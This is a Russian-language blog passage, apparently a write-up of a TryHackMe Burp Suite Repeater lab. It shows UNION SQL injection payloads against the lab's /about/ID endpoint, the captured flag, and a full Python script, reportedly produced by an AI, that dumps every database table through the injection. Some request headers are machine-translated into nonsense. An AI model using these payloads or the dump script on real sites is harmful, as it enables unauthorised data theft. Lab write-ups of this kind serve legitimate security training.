  &lt;p id=&quot;8NAx&quot;&gt;Прежде чем приступить к выполнению этого задания, рекомендуется ознакомиться с принципами SQL- инъекций. Если вы еще этого не сделали, пожалуйста, посетите раздел, посвященный этой теме. Хотя будет предоставлено подробное пошаговое руководство, базовое понимание принципов &lt;a href=&quot;https://tryhackme.com/jr/sqlinjectionlm&quot; target=&quot;_blank&quot;&gt;SQL&lt;/a&gt; - &lt;a href=&quot;https://tryhackme.com/jr/sqlinjectionlm&quot; target=&quot;_blank&quot;&gt;инъекций&lt;/a&gt; окажется полезным для выполнения этого задания.&lt;/p&gt;
  &lt;h4 id=&quot;qpy7&quot;&gt;Цель испытания&lt;/h4&gt;
  &lt;p id=&quot;sHzX&quot;&gt;В этом задании ваша задача — выявить и использовать уязвимость типа Union SQL Injection, присутствующую в параметре ID конечной &lt;code&gt;/about/ID&lt;/code&gt;точки. Используя эту уязвимость, вы должны осуществить атаку для получения информации о генеральном директоре, хранящейся в базе данных.&lt;/p&gt;
  &lt;h4 id=&quot;CpDE&quot;&gt;Пошаговое руководство&lt;/h4&gt;
  &lt;p id=&quot;IYGD&quot;&gt;Мы знаем, что существует уязвимость, и знаем, где она находится. Теперь нам просто нужно её использовать!&lt;/p&gt;
  &lt;p id=&quot;jwuM&quot;&gt;Начнём с перехвата запроса &lt;code&gt;http://10.49.156.244/about/2&lt;/code&gt;в Burp Proxy. После перехвата запроса отправьте его в Repeater, используя команду &amp;#x60;send&amp;#x60; &lt;code&gt;Ctrl + R&lt;/code&gt;или щёлкнув правой кнопкой мыши и выбрав «Отправить в Repeater».&lt;/p&gt;
  &lt;p id=&quot;Bqo9&quot;&gt;Теперь, когда наш запрос подготовлен, давайте подтвердим наличие уязвимости. Добавление одного апострофа ( &lt;code&gt;&amp;#x27;&lt;/code&gt;) обычно достаточно, чтобы сервер выдал ошибку при наличии простой SQL-инъекции, поэтому, используя Инспектор или отредактировав путь запроса вручную, добавьте апостроф после &amp;quot;2&amp;quot; в конце пути и отправьте запрос:&lt;/p&gt;
  &lt;p id=&quot;gv5F&quot;&gt;Запрос заголовков из нашего браузера&lt;/p&gt;
  &lt;pre id=&quot;U8T7&quot;&gt;GET /about/2 &amp;#x27; HTTP/1.1
Хост: 10.49.156.244
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Соединение: закрыто
Запросы на обновление, небезопасные и некорректные: 1

&lt;/pre&gt;
  &lt;p id=&quot;UvTa&quot;&gt;Вы должны увидеть, что сервер отвечает ошибкой &amp;quot;500 Internal Server Error&amp;quot;, что указывает на то, что мы успешно прервали выполнение запроса:&lt;/p&gt;
  &lt;p id=&quot;QN7b&quot;&gt;Заголовки ответа от сервера&lt;/p&gt;
  &lt;pre id=&quot;oZlz&quot;&gt;HTTP/1.1 500 INTERNAL SERVER ERROR&amp;lt;
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Aug 2021 23:05:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3101

&lt;/pre&gt;
  &lt;p id=&quot;UAcu&quot;&gt;Если мы проанализируем тело ответа сервера, то примерно на 40-й строке увидим нечто очень интересное. Сервер сообщает нам, какой запрос мы пытались выполнить:&lt;/p&gt;
  &lt;p id=&quot;dK21&quot;&gt;Чрезмерно подробное сообщение об ошибке, отображающее запрос.&lt;/p&gt;
  &lt;pre id=&quot;FybQ&quot;&gt;&amp;lt;h2&amp;gt;
    &amp;lt;code&amp;gt;Invalid statement: 
        &amp;lt;code&amp;gt;SELECT firstName, lastName, pfpLink, role, bio FROM people WHERE id = 2&amp;#x27;&amp;lt;/code&amp;gt;
    &amp;lt;/code&amp;gt;
&amp;lt;/h2&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;bP7t&quot;&gt;Это крайне полезное сообщение об ошибке, которое сервер ни в коем случае не должен нам отправлять, &lt;em&gt;но&lt;/em&gt; тот факт, что оно у нас есть, значительно упрощает нашу работу.&lt;/p&gt;
  &lt;p id=&quot;A0HT&quot;&gt;В сообщении содержится несколько важных сведений, которые окажутся бесценными при использовании этой уязвимости:&lt;/p&gt;
  &lt;ul id=&quot;qGOj&quot;&gt;
    &lt;li id=&quot;sOzU&quot;&gt;Таблица базы данных, из которой мы выбираем данные, называется &lt;code&gt;people&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;0cRd&quot;&gt;Запрос выбирает пять столбцов из таблицы: &lt;code&gt;firstName&lt;/code&gt;, &lt;code&gt;lastName&lt;/code&gt;, &lt;code&gt;pfpLink&lt;/code&gt;, &lt;code&gt;role&lt;/code&gt;, и &lt;code&gt;bio&lt;/code&gt;. Мы можем предположить, где они будут расположены на странице, что будет полезно при выборе места для размещения наших запросов.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;d3RI&quot;&gt;Имея эту информацию, мы можем пропустить этапы перечисления номеров столбцов запроса и имен таблиц.&lt;/p&gt;
  &lt;p id=&quot;Eb6h&quot;&gt;Хотя нам удалось значительно сократить количество необходимых здесь перечислений, нам все еще нужно найти название целевого столбца.&lt;/p&gt;
  &lt;p id=&quot;icST&quot;&gt;Зная имя таблицы и количество строк, мы можем использовать объединенный запрос (UNION) для выбора имен столбцов таблицы &lt;code&gt;people&lt;/code&gt;из &lt;code&gt;columns&lt;/code&gt;таблицы в &lt;code&gt;information_schema&lt;/code&gt;базе данных по умолчанию.&lt;/p&gt;
  &lt;p id=&quot;etiZ&quot;&gt;Простой запрос для этого выглядит следующим образом:&lt;br /&gt;&lt;code&gt;/about/0 UNION ALL SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name=&amp;quot;people&amp;quot;&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;4FGr&quot;&gt;Это создает объединенный запрос и выбирает целевой столбец, а затем четыре столбца со значением NULL (чтобы избежать ошибки запроса). Обратите внимание, что мы также изменили ID, из которого выбираем данные, &lt;code&gt;2&lt;/code&gt;на &lt;code&gt;0&lt;/code&gt;. Установив ID на недопустимое число, мы гарантируем, что не получим ничего с помощью исходного (легитимного) запроса; это означает, что первая строка, возвращенная из базы данных, будет желаемым ответом от внедренного запроса.&lt;/p&gt;
  &lt;p id=&quot;XSYO&quot;&gt;Проанализировав полученный ответ, мы видим, что название первого столбца ( &lt;code&gt;id&lt;/code&gt;) было вставлено в заголовок страницы:&lt;/p&gt;
  &lt;p id=&quot;cDvU&quot;&gt;Название столбца &amp;quot;id&amp;quot; в заголовке ответа&lt;/p&gt;
  &lt;pre id=&quot;tP5U&quot;&gt;HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Aug 2021 22:12:36 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Front-End-Https: on
Content-Length: 3360


&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=en&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;title&amp;gt;
            About | id None
        &amp;lt;/title&amp;gt;
-----&lt;/pre&gt;
  &lt;p id=&quot;iafR&quot;&gt;Нам удалось успешно извлечь имя первого столбца из базы данных, но теперь возникла проблема. На странице отображается только первый совпадающий элемент  —  нам нужно увидеть все совпадающие элементы.&lt;/p&gt;
  &lt;p id=&quot;MYjJ&quot;&gt;К счастью, мы можем использовать SQL-инъекцию для группировки результатов. Мы по-прежнему можем получать только один результат за раз, но, используя функцию &lt;code&gt;group_concat() &lt;/code&gt;, мы можем объединить все имена столбцов в один результат:&lt;br /&gt;&lt;code&gt;/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name=&amp;quot;people&amp;quot;&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;He1K&quot;&gt;Этот процесс показан ниже:&lt;/p&gt;
  &lt;figure id=&quot;xJ24&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/78495a1c1c84ce8d80cba18c48d924eb.png&quot; width=&quot;2426&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4Hzn&quot;&gt;Мы успешно определили восемь столбцов в этой таблице: &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;firstName&lt;/code&gt;, &lt;code&gt;lastName&lt;/code&gt;, &lt;code&gt;pfpLink&lt;/code&gt;, &lt;code&gt;role&lt;/code&gt;, &lt;code&gt;shortRole&lt;/code&gt;, &lt;code&gt;bio&lt;/code&gt;, и &lt;code&gt;notes&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;I2UF&quot;&gt;Учитывая поставленную задачу, кажется вполне вероятным, что целевым столбцом будет &lt;code&gt;notes&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;Gkbg&quot;&gt;Наконец, мы готовы извлечь флаг из этой базы данных — у нас есть вся необходимая информация:&lt;/p&gt;
  &lt;ul id=&quot;WIzV&quot;&gt;
    &lt;li id=&quot;YCi3&quot;&gt;Название таблицы: &lt;code&gt;people&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;a378&quot;&gt;Название целевого столбца: &lt;code&gt;notes&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;Folw&quot;&gt;Идентификатор генерального директора — &lt;code&gt;1&lt;/code&gt;; его можно найти, просто щелкнув по профилю Джеймсона Вулфа на &lt;code&gt;/about/&lt;/code&gt;странице и проверив идентификатор в URL-адресе.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;6HdO&quot;&gt;Давайте составим запрос для извлечения этого флага:&lt;br /&gt;&lt;code&gt;0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;aTPn&quot;&gt;И вуаля, у нас есть флаг!&lt;/p&gt;
  &lt;figure id=&quot;6XRF&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/c036d3282f1ec33472c0042f5d9a9f36.png&quot; width=&quot;2442&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Bs27&quot;&gt;ОТ сюда начнем крутить скулю&lt;/p&gt;
  &lt;p id=&quot;QJXD&quot;&gt;ставим &amp;#x27; в запросе. и получаем 500&lt;/p&gt;
  &lt;figure id=&quot;jxj9&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9b/42/9b42ab4d-8196-40b4-8e31-19208b5a9f87.png&quot; width=&quot;1456&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;y8OQ&quot;&gt;Проанализировав ответ видим запрос к бд&lt;/p&gt;
  &lt;figure id=&quot;kdq4&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/db/81/db81e8b1-86c4-4e97-ba64-eb1de3642951.png&quot; width=&quot;803&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NQC0&quot;&gt;пробуем посмотреть колонки&lt;/p&gt;
  &lt;p id=&quot;8h3B&quot;&gt;имя первого столбца из базы данных, но теперь возникла проблема. На странице отображается только первый совпадающий элемент  —  нам нужно увидеть все совпадающие элементы.&lt;/p&gt;
  &lt;figure id=&quot;M4uE&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e8/18/e8189279-078b-4428-a9cc-aad0a49d6d77.png&quot; width=&quot;1155&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;a8Nx&quot;&gt;0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name=&amp;quot;people&amp;quot;&lt;/p&gt;
  &lt;figure id=&quot;Noes&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b3/42/b3421c1b-b21c-46fa-970e-09f75ba85861.png&quot; width=&quot;1172&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;SNxK&quot;&gt;Получили id,firstName,lastName,pfpLink,role,shortRole,bio,notes&lt;/p&gt;
  &lt;p id=&quot;pAHk&quot;&gt;Мы успешно определили восемь столбцов в этой таблице: &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;firstName&lt;/code&gt;, &lt;code&gt;lastName&lt;/code&gt;, &lt;code&gt;pfpLink&lt;/code&gt;, &lt;code&gt;role&lt;/code&gt;, &lt;code&gt;shortRole&lt;/code&gt;, &lt;code&gt;bio&lt;/code&gt;, и &lt;code&gt;notes&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;o54P&quot;&gt;Учитывая поставленную задачу, кажется вполне вероятным, что целевым столбцом будет &lt;code&gt;notes&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;c5Hr&quot;&gt;Наконец, мы готовы извлечь флаг из этой базы данных — у нас есть вся необходимая информация:&lt;/p&gt;
  &lt;ul id=&quot;mmLF&quot;&gt;
    &lt;li id=&quot;ex1r&quot;&gt;Название таблицы: &lt;code&gt;people&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;i80X&quot;&gt;Название целевого столбца: &lt;code&gt;notes&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;5n37&quot;&gt;Идентификатор генерального директора — &lt;code&gt;1&lt;/code&gt;; его можно найти, просто щелкнув по профилю Джеймсона Вулфа на &lt;code&gt;/about/&lt;/code&gt;странице и проверив идентификатор в URL-адресе.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;aGzQ&quot;&gt;Давайте составим запрос для извлечения этого флага:&lt;br /&gt;&lt;code&gt;0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;jwpi&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/66/1a/661aa8be-2114-47ed-8040-8afa3d77b819.png&quot; width=&quot;1106&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;iZvm&quot;&gt;попробуем еще получить название бд и все содержимое&lt;/p&gt;
  &lt;p id=&quot;Fn84&quot;&gt;даем команду ИИ сделать нам скрипт который откроет нам всю бд&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Log5&quot;&gt;&lt;code&gt;#!/usr/bin/env python3&lt;br /&gt;&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;UNION-based SQL Injection exploitation script.&lt;br /&gt;For educational / CTF lab use only.&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;sBsU&quot;&gt;&lt;code&gt;Injection point:&lt;br /&gt;  GET /about/0 UNION ALL SELECT &amp;lt;col1&amp;gt;,null,null,null,null [FROM ... WHERE ...]&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;mbdt&quot;&gt;&lt;code&gt;The FROM/WHERE clause must go AFTER all five columns, not inside column 1.&lt;br /&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;zwHr&quot;&gt;&lt;code&gt;import requests&lt;br /&gt;import re&lt;br /&gt;import sys&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;zXaL&quot;&gt;&lt;code&gt;# ─── CONFIG ───────────────────────────────────────────────────────────&lt;br /&gt;TARGET = &amp;quot;http://10.49.156.244&amp;quot;&lt;br /&gt;TIMEOUT = 10&lt;br /&gt;SEP = &amp;quot;0x7C&amp;quot;          # | — group_concat separator&lt;br /&gt;ROW_SEP = &amp;quot;0x0A&amp;quot;      # \n&lt;br /&gt;COL_SEP = &amp;quot;0x203A20&amp;quot;  # &amp;#x27; : &amp;#x27;&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;fIuk&quot;&gt;&lt;code&gt;TITLE_RE = re.compile(r&amp;quot;&amp;lt;title&amp;gt;\s*About \| (.+?) None\s*&amp;lt;/title&amp;gt;&amp;quot;, re.DOTALL)&lt;br /&gt;H1_RE = re.compile(r&amp;#x27;&amp;lt;h1[^&amp;gt;]*&amp;gt;(.+?) None&amp;lt;/h1&amp;gt;&amp;#x27;, re.DOTALL)&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;4GTM&quot;&gt;&lt;code&gt;&lt;br /&gt;def inject(select_expr: str, from_where: str = &amp;quot;&amp;quot;) -&amp;gt; str:&lt;br /&gt;    &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;    Build:  /about/0 UNION ALL SELECT {select_expr},null,null,null,null {from_where}&lt;br /&gt;    &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;    path = f&amp;quot;/about/0 UNION ALL SELECT {select_expr},null,null,null,null&amp;quot;&lt;br /&gt;    if from_where:&lt;br /&gt;        path += f&amp;quot; {from_where}&amp;quot;&lt;br /&gt;    url = TARGET + path&lt;br /&gt;    r = requests.get(url, timeout=TIMEOUT)&lt;br /&gt;    for regex in (TITLE_RE, H1_RE):&lt;br /&gt;        m = regex.search(r.text)&lt;br /&gt;        if m:&lt;br /&gt;            return m.group(1).strip()&lt;br /&gt;    return &amp;quot;&amp;quot;&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;idKf&quot;&gt;&lt;code&gt;&lt;br /&gt;def banner(msg: str):&lt;br /&gt;    print(f&amp;quot;\n{&amp;#x27;=&amp;#x27; * 60}\n  {msg}\n{&amp;#x27;=&amp;#x27; * 60}&amp;quot;)&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;fzjA&quot;&gt;&lt;code&gt;&lt;br /&gt;def main():&lt;br /&gt;    # ── 1. Current database ──────────────────────────────────────&lt;br /&gt;    banner(&amp;quot;CURRENT DATABASE&amp;quot;)&lt;br /&gt;    db = inject(&amp;quot;database()&amp;quot;)&lt;br /&gt;    print(f&amp;quot;  [+] {db}&amp;quot;)&lt;br /&gt;    if not db:&lt;br /&gt;        sys.exit(&amp;quot;[!] Could not retrieve DB name.&amp;quot;)&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;KU8k&quot;&gt;&lt;code&gt;    # ── 2. All databases ─────────────────────────────────────────&lt;br /&gt;    banner(&amp;quot;ALL DATABASES&amp;quot;)&lt;br /&gt;    dbs = inject(&lt;br /&gt;        f&amp;quot;group_concat(schema_name SEPARATOR {SEP})&amp;quot;,&lt;br /&gt;        &amp;quot;FROM information_schema.schemata&amp;quot;&lt;br /&gt;    )&lt;br /&gt;    for d in dbs.split(&amp;quot;|&amp;quot;):&lt;br /&gt;        marker = &amp;quot; &amp;lt;&amp;lt;&amp;lt;&amp;quot; if d.strip() == db else &amp;quot;&amp;quot;&lt;br /&gt;        print(f&amp;quot;  - {d.strip()}{marker}&amp;quot;)&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;xz8Y&quot;&gt;&lt;code&gt;    # ── 3. Tables in current DB ──────────────────────────────────&lt;br /&gt;    banner(f&amp;quot;TABLES IN &amp;#x60;{db}&amp;#x60;&amp;quot;)&lt;br /&gt;    tables_raw = inject(&lt;br /&gt;        f&amp;quot;group_concat(table_name SEPARATOR {SEP})&amp;quot;,&lt;br /&gt;        f&amp;#x27;FROM information_schema.tables WHERE table_schema=&amp;quot;{db}&amp;quot;&amp;#x27;&lt;br /&gt;    )&lt;br /&gt;    tables = [t.strip() for t in tables_raw.split(&amp;quot;|&amp;quot;) if t.strip()]&lt;br /&gt;    for t in tables:&lt;br /&gt;        print(f&amp;quot;  - {t}&amp;quot;)&lt;br /&gt;    if not tables:&lt;br /&gt;        sys.exit(&amp;quot;[!] No tables found.&amp;quot;)&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;HdfM&quot;&gt;&lt;code&gt;    # ── 4. For each table: columns + dump ────────────────────────&lt;br /&gt;    for table in tables:&lt;br /&gt;        # 4a. Columns&lt;br /&gt;        banner(f&amp;quot;COLUMNS IN &amp;#x60;{table}&amp;#x60;&amp;quot;)&lt;br /&gt;        cols_raw = inject(&lt;br /&gt;            f&amp;quot;group_concat(column_name SEPARATOR {SEP})&amp;quot;,&lt;br /&gt;            f&amp;#x27;FROM information_schema.columns WHERE table_schema=&amp;quot;{db}&amp;quot; AND table_name=&amp;quot;{table}&amp;quot;&amp;#x27;&lt;br /&gt;        )&lt;br /&gt;        columns = [c.strip() for c in cols_raw.split(&amp;quot;|&amp;quot;) if c.strip()]&lt;br /&gt;        for c in columns:&lt;br /&gt;            print(f&amp;quot;  - {c}&amp;quot;)&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;sAx7&quot;&gt;&lt;code&gt;        if not columns:&lt;br /&gt;            print(&amp;quot;  [!] No columns — skipping dump.&amp;quot;)&lt;br /&gt;            continue&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;odru&quot;&gt;&lt;code&gt;        # 4b. Dump rows&lt;br /&gt;        banner(f&amp;quot;DATA IN &amp;#x60;{table}&amp;#x60;&amp;quot;)&lt;br /&gt;        col_expr = &amp;quot;concat_ws(&amp;quot; + COL_SEP + &amp;quot;,&amp;quot; + &amp;quot;,&amp;quot;.join(columns) + &amp;quot;)&amp;quot;&lt;br /&gt;        data = inject(&lt;br /&gt;            f&amp;quot;group_concat({col_expr} SEPARATOR {ROW_SEP})&amp;quot;,&lt;br /&gt;            f&amp;quot;FROM &amp;#x60;{db}&amp;#x60;.&amp;#x60;{table}&amp;#x60;&amp;quot;&lt;br /&gt;        )&lt;br /&gt;        if data:&lt;br /&gt;            header = &amp;quot; : &amp;quot;.join(columns)&lt;br /&gt;            print(f&amp;quot;  {header}&amp;quot;)&lt;br /&gt;            print(f&amp;quot;  {&amp;#x27;-&amp;#x27; * len(header)}&amp;quot;)&lt;br /&gt;            for i, row in enumerate(data.split(&amp;quot;\n&amp;quot;), 1):&lt;br /&gt;                print(f&amp;quot;  [{i:&amp;gt;3}] {row}&amp;quot;)&lt;br /&gt;        else:&lt;br /&gt;            print(&amp;quot;  (empty)&amp;quot;)&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;CWGx&quot;&gt;&lt;code&gt;    print(f&amp;quot;\n{&amp;#x27;=&amp;#x27; * 60}\n  DONE\n{&amp;#x27;=&amp;#x27; * 60}\n&amp;quot;)&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;BLLy&quot;&gt;&lt;code&gt;&lt;br /&gt;if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;    main()&lt;/code&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;BSrE&quot;&gt;Получаем всю бд&lt;/p&gt;
  &lt;figure id=&quot;e4ds&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/60/05/60059cfa-d214-4c62-9db4-b718d16edbca.png&quot; width=&quot;1012&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;y56y&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/55/66/5566606c-0256-4f02-9047-0ddf359a99b7.png&quot; width=&quot;1024&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;R25U&quot;&gt;Скрипт отработал отлично — вся БД извлечена. Вот краткая сводка:&lt;/p&gt;
  &lt;p id=&quot;EDE0&quot;&gt;&lt;strong&gt;База данных:&lt;/strong&gt; &lt;code&gt;site&lt;/code&gt; &lt;strong&gt;Таблица:&lt;/strong&gt; &lt;code&gt;people&lt;/code&gt; (8 колонок, 6 строк)&lt;/p&gt;
  &lt;p id=&quot;KnAF&quot;&gt;&lt;strong&gt;Флаг&lt;/strong&gt; найден в колонке &lt;code&gt;notes&lt;/code&gt; у CEO (id=1):&lt;/p&gt;
  &lt;pre id=&quot;jY7M&quot;&gt;THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh}&lt;/pre&gt;
  &lt;p id=&quot;54Mg&quot;&gt;Это запись Jameson Wolfe — Co-Founder &amp;amp; CEO, как и требовалось по заданию. У остальных сотрудников поле &lt;code&gt;notes&lt;/code&gt; пустое.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;irCh&quot;&gt;Вопрос: Воспользуйтесь уязвимостью SQL-инъекции типа union на сайте.&lt;/p&gt;
    &lt;p id=&quot;RxNz&quot;&gt;Ответ: THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh}&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;xLSu&quot;&gt;9. Заключение&lt;/h2&gt;
  &lt;p id=&quot;4huG&quot;&gt;Поздравляем с завершением обустройства комнаты Burp Suite Repeater!&lt;/p&gt;
  &lt;p id=&quot;lAsw&quot;&gt;К этому моменту у вас должно быть четкое понимание того, как эффективно использовать Repeater для редактирования, обработки и повторной отправки запросов. Кроме того, вы должны были получить представление о многочисленных практических применениях этого инструмента.&lt;/p&gt;
  &lt;p id=&quot;men7&quot;&gt;В следующем зале модуля мы рассмотрим модуль Burp Suite Intruder. Intruder позволяет проводить автоматизированные и настраиваемые атаки, что делает его мощным инструментом для различных сценариев тестирования безопасности.&lt;/p&gt;
  &lt;p id=&quot;cnZN&quot;&gt;Удачи в следующей комнате и приятного изучения возможностей &lt;a href=&quot;https://tryhackme.com/room/burpsuiteintruder&quot; target=&quot;_blank&quot;&gt;Burp Suite Intruder&lt;/a&gt; !&lt;/p&gt;
  &lt;figure id=&quot;dVsm&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0b/34/0b3437d0-de01-4e84-ac55-6f288d7905dd.png&quot; width=&quot;924&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;viwo&quot;&gt;&lt;a href=&quot;http://t.me/pentest89&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Основная группа&lt;/strong&gt;&lt;/a&gt; обучения ИБ&lt;br /&gt;&lt;strong&gt;&lt;a href=&quot;https://t.me/+fXKM89fYCMVmYjFi&quot; target=&quot;_blank&quot;&gt;Lab-группу&lt;/a&gt;&lt;/strong&gt; с полезным софтом / книгами / аудио.&lt;br /&gt;&lt;a href=&quot;https://t.me/+RuwyHi0We0lmZDhi&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Чат&lt;/strong&gt; &lt;/a&gt;для обсуждений, задавай свои вопросы.&lt;br /&gt;P.S. С вами был &lt;a href=&quot;https://t.me/Fnay_Offensive&quot; target=&quot;_blank&quot;&gt;@Fnay_Offensive&lt;/a&gt;&lt;br /&gt;До новой встречи, user_name!&lt;/p&gt;

</content></entry><entry><id>fnay_offensive:post_40</id><link rel="alternate" type="text/html" href="https://teletype.in/@fnay_offensive/post_40?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=fnay_offensive"></link><title>День 36. Burp Suite: основы</title><published>2026-02-24T05:23:59.565Z</published><updated>2026-02-24T05:25:41.488Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/7e/91/7e91794f-5785-43b7-a60f-d6ab23a7408e.png"></media:thumbnail><category term="obuchenie-post" label="obuchenie_post"></category><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/4c/e1/4ce1ae6f-881c-4172-bf50-31d73d047445.jpeg&quot;&gt;Введение в использование Burp Suite для тестирования веб-приложений на проникновение.</summary><content type="html">
  &lt;figure id=&quot;zHZx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4c/e1/4ce1ae6f-881c-4172-bf50-31d73d047445.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;PvXn&quot;&gt;Введение в использование Burp Suite для тестирования веб-приложений на проникновение.&lt;/p&gt;
  &lt;figure id=&quot;zpIj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;GZ9E&quot;&gt;&lt;strong&gt;1. Введение&lt;/strong&gt;&lt;/h2&gt;
  &lt;figure id=&quot;Q2OP&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/27/f8/27f87b82-1958-4db7-a4ff-1d59df5bf05d.png&quot; width=&quot;800&quot; /&gt;
  &lt;/figure&gt;
  &lt;h4 id=&quot;8832&quot;&gt;Добро пожаловать в раздел «Основы Burp Suite» !&lt;/h4&gt;
  &lt;p id=&quot;QfvM&quot;&gt;Цель этого занятия — ознакомить с основами фреймворка тестирования безопасности веб-приложений Burp Suite . Мы сосредоточимся на следующих ключевых аспектах:&lt;/p&gt;
  &lt;figure id=&quot;jj0W&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;BzHu&quot;&gt;
    &lt;li id=&quot;cmuD&quot;&gt;Подробное введение в Burp Suite .&lt;/li&gt;
    &lt;li id=&quot;VI8H&quot;&gt;Подробный обзор различных инструментов, доступных в рамках данной системы.&lt;/li&gt;
    &lt;li id=&quot;EOsF&quot;&gt;Подробная инструкция по установке Burp Suite на вашу систему.&lt;/li&gt;
